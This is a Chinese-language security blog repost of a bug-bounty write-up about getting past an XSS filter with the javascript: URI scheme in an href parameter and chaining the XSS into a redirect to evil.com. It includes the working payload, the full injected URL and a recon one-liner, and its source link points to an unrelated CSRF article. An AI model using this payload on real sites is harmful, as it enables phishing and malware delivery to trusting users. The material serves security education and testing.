利用URI方案及链式重定向绕过XSS过滤器

admin 2026-08-18 05:21:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文展示了如何利用URI方案javascript:绕过WAF对特殊字符的过滤,在href上下文中执行XSS。由于HttpOnly标志无法窃取Cookie,作者将XSS与开放重定向链式利用,构造有效载荷实现钓鱼攻击。关键发现是理解注入上下文和扩大影响范围的重要性,建议在漏洞挖掘中考虑链式攻击。 综合评分: 83 文章分类: WEB安全,渗透测试,红队,实战经验


cover_image

利用URI方案及链式重定向绕过XSS过滤器

Coolorangee Coolorangee

漏洞集萃

2026年8月17日 10:38 山东

在小说阅读器读本章

去阅读

本公众号所发布的文章内容仅供学习与交流使用,禁止用于任何非法用途;如有侵权烦请告知,我们会立即删除并致歉,谢谢

在测试一个私有漏洞赏金计划时,我遇到了一个

作者: Coolorangee
原文链接: https://medium.com/@0.unknown.k.0/csrf-protection-bypass-via-method-confusion-leading-to-full-account-takeover-0923bcf4f637

各位黑客朋友们,大家好!今天,我想分享一个我早先发现的漏洞,这个话题非常值得探讨。尽管该目标被归类为“超出范围”(OOS),遗憾的是未能获得赏金,但其利用技术和发现过程仍然极具价值,值得记录并从中学习。

本案例突显了在搜寻跨站脚本(XSS)漏洞时理解注入上下文的重要性,尤其是在开发人员对常见字符实施了过滤的情况下。它还演示了如何将一个基本的XSS漏洞(无法窃取Cookie)转化为危险的钓鱼攻击载体。

侦察与发现

和往常一样,我的漏洞挖掘过程从URL收集开始。在此阶段,我采用了一种自动化的命令行方法,从目标系统中收集尽可能多的端点。

我使用 gau (GetAllUrls) 提取历史 URL 数据,随后使用 httpx-toolkit 和 grep 进行过滤,以确保仅保留包含参数的有效URL。我常用的单行代码如下:

cat urls.txt | httpx-toolkit -silent | grep "=" | tee active-urls.txt

在审查爬取结果时,我注意到一个用于将用户重定向至安装/下载流程的特定端点:

https://target.com/installation?downloadUrl=https://download.target.com/12.0.6/Designer12.0.6.2506031555_Windows_x64.zip&version=12.0.6&class=designer

注意到 downloadUrl 参数中包含外部URL,我立即将其标记为开放重定向或跨站脚本攻击(XSS)的潜在入口点。

漏洞分析与利用

障碍:WAF 与字符过滤

我的第一次尝试是检查反射参数,我尝试输入satu。其反射结果如下图所示:

之后,我将尝试通过在字符串“satu”后添加特殊字符来识别未经过滤的字符,例如 “satu><”,发送请求后发现该特殊字符被编码为 HTML 实体,这意味着它已被拦截(如前所述,这是一个旧漏洞,在我个人的录屏视频中,我并未实际操作,而是直接执行了有效载荷), 但我们仍有机会,因为现在我们的输入处于 URL 上下文中(href、src = URL 上下文 | 供参考,这是我的定义),可以尝试协议测试,所以我直接测试了“javascript:alert(1)”,结果——嘭!!弹出窗口成功弹出。

按回车键或点击查看大图

🔗 权限提升:利用XSS链式攻击触发开放重定向

从技术角度来看,此处的XSS执行存在一个限制:我无法通过读取 document.cookie (很可能是由于 HttpOnly 标志保护机制)。乍看之下,此XSS似乎仅限于基本的 alert(1) JavaScript 执行。

然而,漏洞猎手不应止步于 alert(1)。由于被利用的参数控制着 URL 的目标地址,我决定将此 XSS 漏洞与开放重定向进行链式利用,以最大限度地扩大影响。

我构造了以下有效载荷:

javascript:alert(window.location.replace(%22http://www.evil.com%22))

该有效载荷之所以非常有效,是因为它同时实现了两点:

  1. 它执行该 alert() 函数作为概念验证(PoC),证明已成功触发XSS。
  2. 它会执行 window.location.replace(),该代码会在警报框关闭后立即强制将受害者重定向至攻击者控制的网站([http://www.evil.com](http://www.evil.com))。

最终注入的 URL 如下所示:

https://target.com/installation?downloadUrl=javascript:alert(window.location.replace(%22http://www.evil.com%22))&version=12.0.6&class=designer

影响

尽管窃取Cookie的尝试失败了,但这种XSS与开放重定向的组合在社会工程学场景中仍会造成严重影响:

  1. 高可信度钓鱼攻击:

    攻击者可以在 evil.com。由于初始链接源自受信任的官方域名(target.com),受害者的警惕性会极低。

  2. 恶意文件分发:

    与下载官方文件不同 File_Designer,该有效载荷可无缝将受害者重定向至攻击者控制的外部服务器,诱使其下载该服务器上托管的恶意软件或勒索软件。

💡 要点

  1. 了解注入上下文:

    不要只关注像 ><script>。如果你身处 href 属性中,像 javascript: 便是你的最佳武器。

  2. 扩大影响范围:

    如果 document.cookie 被拦截,请寻找其他方式来演示其影响。对于URL参数而言,将其与基于DOM的开放重定向进行链式组合,是一个合乎逻辑且致命的下一步。

  3. 超出范围(OOS)并不意味着毫无用处:超出范围的目标是测试命令行侦察管道的最佳试验场(例如 gau 以及 httpx-toolkit)并磨练你的漏洞利用直觉。此外,它们还能成为绝佳的攻防分析报告素材!

感谢您的阅读,希望这种绕过和链式攻击的方法能对您的漏洞挖掘工作有所帮助。祝您黑客之旅愉快!

觉得本文内容对您有启发或帮助? 点个关注➕,获取更多深度分析与前沿资讯!

👉 往期精选

逻辑漏洞:邮箱注册 tips #11

非常用403绕过 Tips

Android IPC 漏洞利用系列

新技术绕过文件上传


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:漏洞集萃 Coolorangee Coolorangee《利用URI方案及链式重定向绕过XSS过滤器》

评论:0   参与:  0